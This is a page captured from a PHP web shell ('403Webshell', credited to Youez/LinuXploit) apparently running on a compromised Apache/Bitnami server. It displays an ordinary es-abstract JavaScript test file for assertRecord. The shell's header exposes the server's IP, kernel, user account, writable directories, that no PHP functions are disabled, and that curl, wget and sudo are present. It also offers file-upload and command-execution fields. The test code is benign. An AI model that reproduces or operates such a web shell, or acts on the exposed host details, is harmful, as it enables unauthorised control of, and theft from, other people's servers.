403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/node_modules/es-abstract/test/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/node_modules/es-abstract/test/helpers/assertRecord.js
'use strict';

var forEach = require('foreach');
var debug = require('object-inspect');

var assertRecord = require('../../helpers/assertRecord');
var v = require('es-value-fixtures');

module.exports = function assertRecordTests(ES, test) {
	test('Property Descriptor', function (t) {
		var record = 'Property Descriptor';

		forEach(v.nonUndefinedPrimitives, function (primitive) {
			t['throws'](
				function () { assertRecord(ES.Type, record, 'arg', primitive); },
				TypeError,
				debug(primitive) + ' is not a Property Descriptor'
			);
		});

		t['throws'](
			function () { assertRecord(ES.Type, record, 'arg', { invalid: true }); },
			TypeError,
			'invalid keys not allowed on a Property Descriptor'
		);

		t.doesNotThrow(
			function () { assertRecord(ES.Type, record, 'arg', {}); },
			'empty object is an incomplete Property Descriptor'
		);

		t.doesNotThrow(
			function () { assertRecord(ES.Type, record, 'arg', v.accessorDescriptor()); },
			'accessor descriptor is a Property Descriptor'
		);

		t.doesNotThrow(
			function () { assertRecord(ES.Type, record, 'arg', v.mutatorDescriptor()); },
			'mutator descriptor is a Property Descriptor'
		);

		t.doesNotThrow(
			function () { assertRecord(ES.Type, record, 'arg', v.dataDescriptor()); },
			'data descriptor is a Property Descriptor'
		);

		t.doesNotThrow(
			function () { assertRecord(ES.Type, record, 'arg', v.genericDescriptor()); },
			'generic descriptor is a Property Descriptor'
		);

		t['throws'](
			function () { assertRecord(ES.Type, record, 'arg', v.bothDescriptor()); },
			TypeError,
			'a Property Descriptor can not be both a Data and an Accessor Descriptor'
		);

		t.end();
	});
};

Youez - 2016 - github.com/yon3zu
LinuXploit